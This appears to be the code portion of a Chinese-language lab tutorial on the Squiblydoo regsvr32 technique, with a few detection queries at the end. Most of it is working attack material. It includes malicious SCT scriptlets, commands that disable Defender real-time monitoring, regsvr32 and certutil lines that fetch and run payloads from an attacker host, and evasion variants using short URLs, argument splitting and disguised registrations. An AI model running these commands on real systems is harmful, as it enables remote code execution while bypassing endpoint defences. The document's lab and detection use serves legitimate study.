1
# 建立測試目錄
2
mkdir ~/regsvr32_demo && cd ~/regsvr32_demo
3

4
# 建立惡意 SCT 檔案（Scriptlet）
5
cat > payload.sct << 'EOF'
6
<?XML version="1.0"?>
7
<scriptlet>
8
<registration
9
    progid="PoC"
10
    classid="{00000000-0000-0000-0000-000000000000}">
11
<script language="JScript">
12
<![CDATA[
13
    var r = new ActiveXObject("WScript.Shell");
14
    r.Run("calc.exe");
15
    r.Run("cmd.exe /c echo Squiblydoo_Executed > C:\\Windows\\Temp\\regsvr32_test.txt");
16
]]>
17
</script>
18
</registration>
19
</scriptlet>
20
EOF
21

22
# 建立 PowerShell 版本的 SCT
23
cat > ps_payload.sct << 'EOF'
24
<?XML version="1.0"?>
25
<scriptlet>
26
<registration progid="PSTest">
27
<script language="JScript">
28
<![CDATA[
29
    var shell = new ActiveXObject("WScript.Shell");
30
    shell.Run("powershell.exe -c Write-Host 'SCT Executed!' -ForegroundColor Red; calc.exe",0);
31
]]>
32
</script>
33
</registration>
34
</scriptlet>
35
EOF
36

37
# 建立測試用的正常 DLL 資訊檔
38
echo "This is not a real DLL" > fake.dll
39

40
# 啟動 Web Server
41
python3 -m http.server 8080

1
:: 建立測試環境
2
mkdir C:\TestLab
3
cd C:\TestLab
4

5
:: 暫時關閉防護（測試環境）
6
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
7
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

1
:: 設定攻擊者 IP
2
set ATTACKER=10.211.55.6
3

4
:: 標準 Squiblydoo 攻擊
5
regsvr32.exe /s /n /u /i:http://%ATTACKER%:8080/payload.sct scrobj.dll
6

7
:: 參數說明：
8
:: /s = 靜默模式（不顯示訊息框）
9
:: /n = 不呼叫 DllRegisterServer
10
:: /u = 解除註冊
11
:: /i: = 呼叫 DllInstall，後面接 URL
12
:: scrobj.dll = Windows Script Component Runtime

1
:: 下載 SCT 到本地
2
certutil -urlcache -f http://%ATTACKER%:8080/payload.sct local.sct
3

4
:: 執行本地 SCT
5
regsvr32.exe /s /n /u /i:local.sct scrobj.dll
6

7
:: 使用 file:// 協議
8
regsvr32.exe /s /n /u /i:file://C:\TestLab\local.sct scrobj.dll
9

10
:: 甚至可以用 UNC 路徑（內網滲透）
11
:: regsvr32.exe /s /n /u /i:\\evil-server\share\payload.sct scrobj.dll

1
:: 方法1：拆分參數
2
regsvr32 /s /n /u scrobj.dll /i:http://%ATTACKER%:8080/payload.sct
3

4
:: 方法2：使用短網址
5
regsvr32 /s /n /u /i:https://bit.ly/3xYz123 scrobj.dll
6

7
:: 方法3：偽裝成正常註冊
8
regsvr32.exe /s normal.dll
9
regsvr32.exe /s /n /u /i:http://%ATTACKER%:8080/payload.sct scrobj.dll
10
regsvr32.exe /s another.dll
11

12
:: 方法4：透過 PowerShell 執行
13
powershell -c "Start-Process regsvr32 -ArgumentList '/s','/n','/u','/i:http://%ATTACKER%:8080/payload.sct','scrobj.dll'"

1
# 檢查 Temp 資料夾
2
Get-ChildItem "$env:TEMP" -Filter "*regsvr32*" -ErrorAction SilentlyContinue
3
Get-ChildItem "C:\TestLab" -Filter "*.sct" -ErrorAction SilentlyContinue
4

5
# 檢查事件日誌
6
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
7
    Where-Object {$_.Message -match 'regsvr32.*/i:'} |
8
    Select-Object TimeCreated, Message